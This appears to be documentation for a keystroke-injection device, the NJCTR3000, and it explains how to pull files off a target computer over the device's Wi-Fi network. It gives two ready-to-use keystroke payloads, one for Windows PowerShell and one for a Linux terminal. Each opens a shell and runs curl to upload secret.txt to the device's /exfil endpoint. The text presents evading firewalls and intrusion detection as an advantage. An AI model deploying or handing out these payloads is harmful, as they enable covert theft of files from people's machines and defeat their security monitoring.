Remote File Exfiltration

Introduction to File Exfiltration via NJCTR3000

The NJCTR3000 is designed to facilitate out-of-band exfiltration of files using a Wi-Fi connection. When the target machine connects to the NJCTR3000’s network, files can be transferred “out of band” — meaning the exfiltration occurs outside the normal communication channels, making it more difficult to detect. This technique is advantageous because it bypasses standard monitoring and logging mechanisms, such as firewalls and intrusion detection systems, which typically focus on in-band network traffic.

What is an HTTP POST Request?

An HTTP POST request is a type of request used to send data to a server. In this case, the server is the NJCTR3000, and the data being sent is the file you wish to exfiltrate. The curl command is a tool used to make HTTP requests from the command line. It is particularly useful for automating file transfers by creating POST requests, which will upload the file from the target machine to the NJCTR3000.

The following examples demonstrate how the NJCTR3000 can be used to automate the exfiltration of files using curl to send an HTTP POST request.

Windows Exfiltration Payload

This payload will exfiltrate a file using PowerShell on Windows.

REM Payload to exfiltrate a file using curl in Windows
DELAY 2000
GUI r
DELAY 500
STRING powershell
ENTER
DELAY 1000
STRING curl -F "file=@secret.txt" http://{WIFI_IP}/exfil
ENTER

• The script begins by opening PowerShell using the GUI r (run command) and then typing powershell to open the PowerShell window.
• It executes the curl command, which uploads the file secret.txt to the NJCTR3000’s exfiltration endpoint (http://{WIFI_IP}/exfil).

Linux Exfiltration Payload

This payload will exfiltrate a file using the Linux terminal.

REM Payload to exfiltrate a file using curl on Linux
DELAY 2000
ALT F2
DELAY 500
STRING gnome-terminal
ENTER
DELAY 1000
STRING curl -F "file=@secret.txt" http://{WIFI_IP}/exfil
ENTER

• The script starts by opening the terminal using ALT F2 (run command) and then typing gnome-terminal to open the terminal window.
• It runs the curl command, sending the file secret.txt to the NJCTR3000’s exfiltration endpoint (http://{WIFI_IP}/exfil).